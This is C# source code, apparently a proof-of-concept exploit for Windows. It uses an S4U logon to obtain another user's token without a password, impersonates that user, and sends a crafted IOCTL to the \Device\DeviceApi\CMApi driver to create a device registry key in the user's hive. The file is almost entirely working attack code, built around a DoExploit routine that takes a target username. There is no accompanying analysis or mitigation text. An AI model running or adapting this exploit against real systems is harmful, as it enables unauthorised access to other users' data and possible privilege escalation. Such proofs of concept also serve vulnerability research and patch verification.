using Microsoft.Win32; using Microsoft.Win32.SafeHandles; using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Net; using System.Runtime.InteropServices; using System.Security.Principal; namespace PoC { /// /// This sample uses S4U security, which requires Windows Server 2003 and a W2003 domain controller /// Copied from pinvoke.net with minor changes to get it to actually work. /// public sealed class CCWinLogonUtilities { private CCWinLogonUtilities() { } #region "Win32 stuff" private class Win32 { internal class OSCalls { public enum WinStatusCodes : uint { STATUS_SUCCESS = 0 } public enum WinErrors : uint { NO_ERROR = 0, } public enum WinLogonType { LOGON32_LOGON_INTERACTIVE = 2, LOGON32_LOGON_NETWORK = 3, LOGON32_LOGON_BATCH = 4, LOGON32_LOGON_SERVICE = 5, LOGON32_LOGON_UNLOCK = 7, LOGON32_LOGON_NETWORK_CLEARTEXT = 8, LOGON32_LOGON_NEW_CREDENTIALS = 9 } // SECURITY_LOGON_TYPE public enum SecurityLogonType { Interactive = 2, // Interactively logged on (locally or remotely) Network, // Accessing system via network Batch, // Started via a batch queue Service, // Service started by service controller Proxy, // Proxy logon Unlock, // Unlock workstation NetworkCleartext, // Network logon with cleartext credentials NewCredentials, // Clone caller, new default credentials RemoteInteractive, // Remote, yet interactive. Terminal server CachedInteractive, // Try cached credentials without hitting the net. CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose CachedUnlock // Cached Unlock workstation } [StructLayout(LayoutKind.Sequential)] public struct LSA_UNICODE_STRING { public UInt16 Length; public UInt16 MaximumLength; public IntPtr Buffer; } [StructLayout(LayoutKind.Sequential)] public struct TOKEN_SOURCE { public TOKEN_SOURCE(string name) { SourceName = new byte[8]; System.Text.Encoding.GetEncoding(1252).GetBytes(name, 0, name.Length, SourceName, 0); if (!AllocateLocallyUniqueId(out SourceIdentifier)) throw new System.ComponentModel.Win32Exception(); } [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] public byte[] SourceName; public UInt64 SourceIdentifier; } [StructLayout(LayoutKind.Sequential)] public struct QUOTA_LIMITS { UInt32 PagedPoolLimit; UInt32 NonPagedPoolLimit; UInt32 MinimumWorkingSetSize; UInt32 MaximumWorkingSetSize; UInt32 PagefileLimit; Int64 TimeLimit; } [StructLayout(LayoutKind.Sequential)] public struct LSA_STRING { public UInt16 Length; public UInt16 MaximumLength; public /*PCHAR*/ IntPtr Buffer; } public class LsaStringWrapper : IDisposable { public LSA_STRING _string; public LsaStringWrapper(string value) { _string = new LSA_STRING(); _string.Length = (ushort)value.Length; _string.MaximumLength = (ushort)value.Length; _string.Buffer = Marshal.StringToHGlobalAnsi(value); } ~LsaStringWrapper() { Dispose(false); } private void Dispose(bool disposing) { if (_string.Buffer != IntPtr.Zero) { Marshal.FreeHGlobal(_string.Buffer); _string.Buffer = IntPtr.Zero; } if (disposing) GC.SuppressFinalize(this); } #region IDisposable Members public void Dispose() { Dispose(true); } #endregion } public class KerbS4ULogon : IDisposable { [StructLayout(LayoutKind.Sequential)] public struct KERB_S4U_LOGON { public Int32 MessageType; // Should be 12 public Int32 Flags; // Reserved, should be 0 public LSA_UNICODE_STRING ClientUpn; // REQUIRED: UPN for client public LSA_UNICODE_STRING ClientRealm; // Optional: Client Realm, if known } public KerbS4ULogon(string clientUpn) : this(clientUpn, null) { } public KerbS4ULogon(string clientUpn, string clientRealm) { int clientUpnLen = (clientUpn == null) ? 0 : clientUpn.Length; int clientRealmLen = (clientRealm == null) ? 0 : clientRealm.Length; _bufferLength = Marshal.SizeOf(typeof(KERB_S4U_LOGON)) + 2 * (clientUpnLen + clientRealmLen); _bufferContent = Marshal.AllocHGlobal(_bufferLength); if (_bufferContent == IntPtr.Zero) throw new OutOfMemoryException("Could not allocate memory for KerbS4ULogon structure"); try { KERB_S4U_LOGON baseStructure = new KERB_S4U_LOGON(); baseStructure.MessageType = 12; // KerbS4ULogon baseStructure.Flags = 0; baseStructure.ClientUpn.Length = (UInt16)(2 * clientUpnLen); baseStructure.ClientUpn.MaximumLength = (UInt16)(2 * clientUpnLen); IntPtr curPtr = new IntPtr(_bufferContent.ToInt64() + Marshal.SizeOf(typeof(KERB_S4U_LOGON))); if (clientUpnLen > 0) { baseStructure.ClientUpn.Buffer = curPtr; Marshal.Copy(clientUpn.ToCharArray(), 0, curPtr, clientUpnLen); curPtr = new IntPtr(curPtr.ToInt64() + clientUpnLen * 2); } else baseStructure.ClientUpn.Buffer = IntPtr.Zero; baseStructure.ClientRealm.Length = (UInt16)(2 * clientRealmLen); baseStructure.ClientRealm.MaximumLength = (UInt16)(2 * clientRealmLen); if (clientRealmLen > 0) { baseStructure.ClientRealm.Buffer = curPtr; Marshal.Copy(clientRealm.ToCharArray(), 0, curPtr, clientRealmLen); } else baseStructure.ClientRealm.Buffer = IntPtr.Zero; Marshal.StructureToPtr(baseStructure, _bufferContent, false); } catch { Dispose(true); throw; } } private IntPtr _bufferContent; private int _bufferLength; public IntPtr Ptr { get { return _bufferContent; } } public int Length { get { return _bufferLength; } } private void Dispose(bool disposing) { if (_bufferContent != IntPtr.Zero) { Marshal.FreeHGlobal(_bufferContent); _bufferContent = IntPtr.Zero; } if (disposing) GC.SuppressFinalize(this); } ~KerbS4ULogon() { Dispose(false); } #region IDisposable Members public void Dispose() { Dispose(true); } #endregion } [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = false)] public static extern WinErrors LsaNtStatusToWinError(WinStatusCodes status); [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern bool AllocateLocallyUniqueId([Out] out UInt64 Luid); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern int CloseHandle(IntPtr hObject); [DllImport("secur32.dll", SetLastError = false)] public static extern WinStatusCodes LsaLogonUser( [In] IntPtr LsaHandle, [In] ref LSA_STRING OriginName, [In] SecurityLogonType LogonType, [In] UInt32 AuthenticationPackage, [In] IntPtr AuthenticationInformation, [In] UInt32 AuthenticationInformationLength, [In] /*PTOKEN_GROUPS*/ IntPtr LocalGroups, [In] ref TOKEN_SOURCE SourceContext, [Out] /*PVOID*/ out IntPtr ProfileBuffer, [Out] out UInt32 ProfileBufferLength, [Out] out Int64 LogonId, [Out] out IntPtr Token, [Out] out QUOTA_LIMITS Quotas, [Out] out WinStatusCodes SubStatus ); [DllImport("secur32.dll", SetLastError = false)] public static extern WinStatusCodes LsaFreeReturnBuffer( [In] IntPtr buffer); [DllImport("secur32.dll", SetLastError = false)] public static extern WinStatusCodes LsaConnectUntrusted([Out] out IntPtr LsaHandle); [DllImport("secur32.dll", SetLastError = false)] public static extern WinStatusCodes LsaDeregisterLogonProcess([In] IntPtr LsaHandle); [DllImport("secur32.dll", SetLastError = false)] public static extern WinStatusCodes LsaLookupAuthenticationPackage([In] IntPtr LsaHandle, [In] ref LSA_STRING PackageName, [Out] out UInt32 AuthenticationPackage); } public sealed class HandleSecurityToken : IDisposable { private IntPtr m_hToken = IntPtr.Zero; // using S4U logon public HandleSecurityToken(string UserName, string Domain, OSCalls.WinLogonType LogonType ) { using (OSCalls.KerbS4ULogon authPackage = new OSCalls.KerbS4ULogon(UserName, Domain)) { IntPtr lsaHandle; OSCalls.WinStatusCodes status = OSCalls.LsaConnectUntrusted(out lsaHandle); if (status != OSCalls.WinStatusCodes.STATUS_SUCCESS) throw new System.ComponentModel.Win32Exception((int)OSCalls.LsaNtStatusToWinError(status)); try { UInt32 kerberosPackageId; using (OSCalls.LsaStringWrapper kerberosPackageName = new OSCalls.LsaStringWrapper("Negotiate")) { status = OSCalls.LsaLookupAuthenticationPackage(lsaHandle, ref kerberosPackageName._string, out kerberosPackageId); if (status != OSCalls.WinStatusCodes.STATUS_SUCCESS) throw new System.ComponentModel.Win32Exception((int)OSCalls.LsaNtStatusToWinError(status)); } OSCalls.LsaStringWrapper originName = null; try { originName = new OSCalls.LsaStringWrapper("S4U"); OSCalls.TOKEN_SOURCE sourceContext = new OSCalls.TOKEN_SOURCE("NtLmSsp"); System.IntPtr profileBuffer = IntPtr.Zero; UInt32 profileBufferLength = 0; Int64 logonId; OSCalls.WinStatusCodes subStatus; OSCalls.QUOTA_LIMITS quotas; status = OSCalls.LsaLogonUser( lsaHandle, ref originName._string, (OSCalls.SecurityLogonType)LogonType, kerberosPackageId, authPackage.Ptr, (uint)authPackage.Length, IntPtr.Zero, ref sourceContext, out profileBuffer, out profileBufferLength, out logonId, out m_hToken, out quotas, out subStatus); if (status != OSCalls.WinStatusCodes.STATUS_SUCCESS) throw new System.ComponentModel.Win32Exception((int)OSCalls.LsaNtStatusToWinError(status)); if (profileBuffer != IntPtr.Zero) OSCalls.LsaFreeReturnBuffer(profileBuffer); } finally { if (originName != null) originName.Dispose(); } } finally { OSCalls.LsaDeregisterLogonProcess(lsaHandle); } } } ~HandleSecurityToken() { Dispose(false); } public void Dispose() { Dispose(true); } private void Dispose(bool disposing) { lock (this) { if (!m_hToken.Equals(IntPtr.Zero)) { OSCalls.CloseHandle(m_hToken); m_hToken = IntPtr.Zero; } if (disposing) GC.SuppressFinalize(this); } } public System.Security.Principal.WindowsIdentity BuildIdentity() { System.Security.Principal.WindowsIdentity retVal = new System.Security.Principal.WindowsIdentity(m_hToken); GC.KeepAlive(this); return retVal; } } } #endregion /// /// The Windows Logon Types. /// public enum WinLogonType { /// /// Interactive logon /// LOGON32_LOGON_INTERACTIVE = Win32.OSCalls.WinLogonType.LOGON32_LOGON_INTERACTIVE, /// /// Network logon /// LOGON32_LOGON_NETWORK = Win32.OSCalls.WinLogonType.LOGON32_LOGON_NETWORK, /// /// Batch logon /// LOGON32_LOGON_BATCH = Win32.OSCalls.WinLogonType.LOGON32_LOGON_BATCH, /// /// Logon as a service /// LOGON32_LOGON_SERVICE = Win32.OSCalls.WinLogonType.LOGON32_LOGON_SERVICE, /// /// Unlock logon /// LOGON32_LOGON_UNLOCK = Win32.OSCalls.WinLogonType.LOGON32_LOGON_UNLOCK, /// /// Preserve password logon /// LOGON32_LOGON_NETWORK_CLEARTEXT = Win32.OSCalls.WinLogonType.LOGON32_LOGON_NETWORK_CLEARTEXT, /// /// Current token for local access, credentials for network access /// LOGON32_LOGON_NEW_CREDENTIALS = Win32.OSCalls.WinLogonType.LOGON32_LOGON_NEW_CREDENTIALS } /// /// Logs in a credential for server apps. No need to provide password. /// /// The credential to log in. Password is ignored. /// The type of logon to use /// /// Requires Windows Server 2003 domain account running in Win2003 native domain mode /// /// Returns a System.Security.Principal.WindowsIdentity object /// Raises an exception with error information if the user cannot log in public static System.Security.Principal.WindowsIdentity CreateIdentityS4U(System.Net.NetworkCredential credential, WinLogonType logonType) { using (Win32.HandleSecurityToken handleToken = new Win32.HandleSecurityToken(credential.UserName, credential.Domain, (Win32.OSCalls.WinLogonType)logonType)) return handleToken.BuildIdentity(); } class Program { [Flags] public enum AttributeFlags : uint { None = 0, Inherit = 0x00000002, Permanent = 0x00000010, Exclusive = 0x00000020, CaseInsensitive = 0x00000040, OpenIf = 0x00000080, OpenLink = 0x00000100, KernelHandle = 0x00000200, ForceAccessCheck = 0x00000400, IgnoreImpersonatedDevicemap = 0x00000800, DontReparse = 0x00001000, } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public sealed class UnicodeString { ushort Length; ushort MaximumLength; [MarshalAs(UnmanagedType.LPWStr)] string Buffer; public UnicodeString(string str) { Length = (ushort)(str.Length * 2); MaximumLength = (ushort)((str.Length * 2) + 1); Buffer = str; } } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public sealed class ObjectAttributes : IDisposable { int Length; IntPtr RootDirectory; IntPtr ObjectName; AttributeFlags Attributes; IntPtr SecurityDescriptor; IntPtr SecurityQualityOfService; private static IntPtr AllocStruct(object s) { int size = Marshal.SizeOf(s); IntPtr ret = Marshal.AllocHGlobal(size); Marshal.StructureToPtr(s, ret, false); return ret; } private static void FreeStruct(ref IntPtr p, Type struct_type) { Marshal.DestroyStructure(p, struct_type); Marshal.FreeHGlobal(p); p = IntPtr.Zero; } public ObjectAttributes(string object_name, AttributeFlags flags, IntPtr rootkey) { Length = Marshal.SizeOf(this); if (object_name != null) { ObjectName = AllocStruct(new UnicodeString(object_name)); } Attributes = flags; RootDirectory = rootkey; } public ObjectAttributes(string object_name, AttributeFlags flags) : this(object_name, flags, IntPtr.Zero) { } public void Dispose() { if (ObjectName != IntPtr.Zero) { FreeStruct(ref ObjectName, typeof(UnicodeString)); } GC.SuppressFinalize(this); } ~ObjectAttributes() { Dispose(); } } [Flags] public enum LoadKeyFlags { None = 0, AppKey = 0x10, Exclusive = 0x20, Unknown800 = 0x800, ReadOnly = 0x2000, } [Flags] public enum GenericAccessRights : uint { None = 0, GenericRead = 0x80000000, GenericWrite = 0x40000000, GenericExecute = 0x20000000, GenericAll = 0x10000000, Delete = 0x00010000, ReadControl = 0x00020000, WriteDac = 0x00040000, WriteOwner = 0x00080000, Synchronize = 0x00100000, MaximumAllowed = 0x02000000, } public class NtException : ExternalException { [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern IntPtr GetModuleHandle(string modulename); [Flags] enum FormatFlags { AllocateBuffer = 0x00000100, FromHModule = 0x00000800, FromSystem = 0x00001000, IgnoreInserts = 0x00000200 } [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern int FormatMessage( FormatFlags dwFlags, IntPtr lpSource, int dwMessageId, int dwLanguageId, out IntPtr lpBuffer, int nSize, IntPtr Arguments ); [DllImport("kernel32.dll")] private static extern IntPtr LocalFree(IntPtr p); private static string StatusToString(int status) { IntPtr buffer = IntPtr.Zero; try { if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts, GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0) { return Marshal.PtrToStringUni(buffer); } } finally { if (buffer != IntPtr.Zero) { LocalFree(buffer); } } return String.Format("Unknown Error: 0x{0:X08}", status); } public NtException(int status) : base(StatusToString(status)) { } } public static void StatusToNtException(int status) { if (status < 0) { throw new NtException(status); } } [Flags] public enum FileOpenOptions { None = 0, DirectoryFile = 0x00000001, WriteThrough = 0x00000002, SequentialOnly = 0x00000004, NoIntermediateBuffering = 0x00000008, SynchronousIoAlert = 0x00000010, SynchronousIoNonAlert = 0x00000020, NonDirectoryFile = 0x00000040, CreateTreeConnection = 0x00000080, CompleteIfOplocked = 0x00000100, NoEaKnowledge = 0x00000200, OpenRemoteInstance = 0x00000400, RandomAccess = 0x00000800, DeleteOnClose = 0x00001000, OpenByFileId = 0x00002000, OpenForBackupIntent = 0x00004000, NoCompression = 0x00008000, OpenRequiringOplock = 0x00010000, ReserveOpfilter = 0x00100000, OpenReparsePoint = 0x00200000, OpenNoRecall = 0x00400000, OpenForFreeSpaceQuery = 0x00800000 } public class IoStatusBlock { public IntPtr Pointer; public IntPtr Information; public IoStatusBlock(IntPtr pointer, IntPtr information) { Pointer = pointer; Information = information; } public IoStatusBlock() { } } [Flags] public enum ShareMode { None = 0, Read = 0x00000001, Write = 0x00000002, Delete = 0x00000004, } [Flags] public enum FileAccessRights : uint { None = 0, ReadData = 0x0001, WriteData = 0x0002, AppendData = 0x0004, ReadEa = 0x0008, WriteEa = 0x0010, Execute = 0x0020, DeleteChild = 0x0040, ReadAttributes = 0x0080, WriteAttributes = 0x0100, GenericRead = 0x80000000, GenericWrite = 0x40000000, GenericExecute = 0x20000000, GenericAll = 0x10000000, Delete = 0x00010000, ReadControl = 0x00020000, WriteDac = 0x00040000, WriteOwner = 0x00080000, Synchronize = 0x00100000, MaximumAllowed = 0x02000000, } [DllImport("ntdll.dll")] public static extern int NtOpenFile( out IntPtr FileHandle, FileAccessRights DesiredAccess, ObjectAttributes ObjAttr, [In] [Out] IoStatusBlock IoStatusBlock, ShareMode ShareAccess, FileOpenOptions OpenOptions); [DllImport("ntdll.dll")] public static extern int NtDeviceIoControlFile( SafeFileHandle FileHandle, IntPtr Event, IntPtr ApcRoutine, IntPtr ApcContext, [In] [Out] IoStatusBlock IoStatusBlock, uint IoControlCode, SafeHGlobalBuffer InputBuffer, int InputBufferLength, SafeHGlobalBuffer OutputBuffer, int OutputBufferLength ); static T DeviceIoControl(SafeFileHandle FileHandle, uint IoControlCode, object input_buffer) { using (SafeStructureOutBuffer output = new SafeStructureOutBuffer()) { using (SafeStructureBuffer input = new SafeStructureBuffer(input_buffer)) { IoStatusBlock status = new IoStatusBlock(); StatusToNtException(NtDeviceIoControlFile(FileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, status, IoControlCode, input, input.Length, output, output.Length)); return output.Result; } } } public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit) { AttributeFlags flags = AttributeFlags.CaseInsensitive; if (inherit) flags |= AttributeFlags.Inherit; using (ObjectAttributes obja = new ObjectAttributes(name, flags)) { IntPtr handle; IoStatusBlock iostatus = new IoStatusBlock(); StatusToNtException(NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions)); return new SafeFileHandle(handle, true); } } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] class CmApiOpenKeyData { public int cbSize; // 0 public int device_type; // 4 public int callback_id; // 8 [MarshalAs(UnmanagedType.LPWStr)] public string name; // c public int name_size; // 10 public GenericAccessRights desired_access; // 14 public int create; // 18 public int hardware_id; // 1c public int return_data_size; // 20 public CmApiOpenKeyData(int device_type, int callback_id, string name, GenericAccessRights desired_access, bool create, int hardware_id, int return_data_size) { this.cbSize = Marshal.SizeOf(this); this.device_type = device_type; this.callback_id = callback_id; this.name = name; this.name_size = (name.Length + 1) * 2; this.desired_access = desired_access; this.create = create ? 1 : 0; this.hardware_id = hardware_id; this.return_data_size = return_data_size; } } [StructLayout(LayoutKind.Sequential)] class CmApiOpenKeyResult { int size; public int status; public long handle; }; public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid { public SafeHGlobalBuffer(int length) : this(Marshal.AllocHGlobal(length), length, true) { } public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle) : base(owns_handle) { Length = length; SetHandle(buffer); } public int Length { get; private set; } protected override bool ReleaseHandle() { if (!IsInvalid) { Marshal.FreeHGlobal(handle); handle = IntPtr.Zero; } return true; } } public class SafeStructureBuffer : SafeHGlobalBuffer { Type _type; public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value)) { _type = value.GetType(); Marshal.StructureToPtr(value, handle, false); } protected override bool ReleaseHandle() { if (!IsInvalid) { Marshal.DestroyStructure(handle, _type); } return base.ReleaseHandle(); } } public class SafeStructureOutBuffer : SafeHGlobalBuffer { public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T))) { } public T Result { get { if (IsInvalid) throw new ObjectDisposedException("handle"); return Marshal.PtrToStructure(handle); } } } static void EnumKeys(RegistryKey rootkey, IEnumerable name_parts, List names, int maxdepth, int current_depth) { if (current_depth == maxdepth) { names.Add(String.Join(@"\", name_parts)); } else { foreach (string subkey in rootkey.GetSubKeyNames()) { using (RegistryKey key = rootkey.OpenSubKey(subkey)) { if (key != null) { EnumKeys(key, name_parts.Concat(new string[] { subkey }), names, maxdepth, current_depth + 1); } } } } } static IEnumerable GetValidDeviceNames() { List names = new List(); using (RegistryKey rootkey = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Enum")) { EnumKeys(rootkey, new string[0], names, 3, 0); } return names; } static void CreateDeviceKey(string device_name, WindowsIdentity identity) { using (SafeFileHandle handle = OpenFile(@"\Device\DeviceApi\CMApi", FileAccessRights.Synchronize | FileAccessRights.GenericRead | FileAccessRights.GenericWrite, ShareMode.None, FileOpenOptions.NonDirectoryFile | FileOpenOptions.SynchronousIoNonAlert, false)) { CmApiOpenKeyData data = new CmApiOpenKeyData(0x111, 1, device_name, GenericAccessRights.MaximumAllowed, true, 0, Marshal.SizeOf(typeof(CmApiOpenKeyResult))); CmApiOpenKeyResult result = null; WindowsImpersonationContext ctx = null; if (identity != null) { ctx = identity.Impersonate(); } try { result = DeviceIoControl(handle, 0x47085B, data); } finally { if (ctx != null) { ctx.Undo(); } } StatusToNtException(result.status); } } static bool DoExploit(string username) { try { WindowsIdentity id = CCWinLogonUtilities.CreateIdentityS4U(new NetworkCredential(username, "", Environment.UserDomainName), CCWinLogonUtilities.WinLogonType.LOGON32_LOGON_NETWORK); bool found_hive = false; foreach (string subkey in Registry.Users.GetSubKeyNames()) { string user_name = id.User.ToString(); if (subkey.Equals(user_name, StringComparison.OrdinalIgnoreCase)) { found_hive = true; break; } } if (!found_hive) { throw new ArgumentException("Couldn't find user hive, make sure the user's logged on"); } string device_name = GetValidDeviceNames().First(); Console.WriteLine("[SUCCESS]: Found Device: {0}", device_name); CreateDeviceKey(device_name, id); } catch (Exception ex) { Console.WriteLine("[ERROR]: {0}", ex.ToString()); } return false; } static int GetSessionId() { using (Process p = Process.GetCurrentProcess()) { return p.SessionId; } } static void Main(string[] args) { if (args.Length < 1) { Console.WriteLine("Usage: PoC username"); } else { DoExploit(args[0]); } } } } }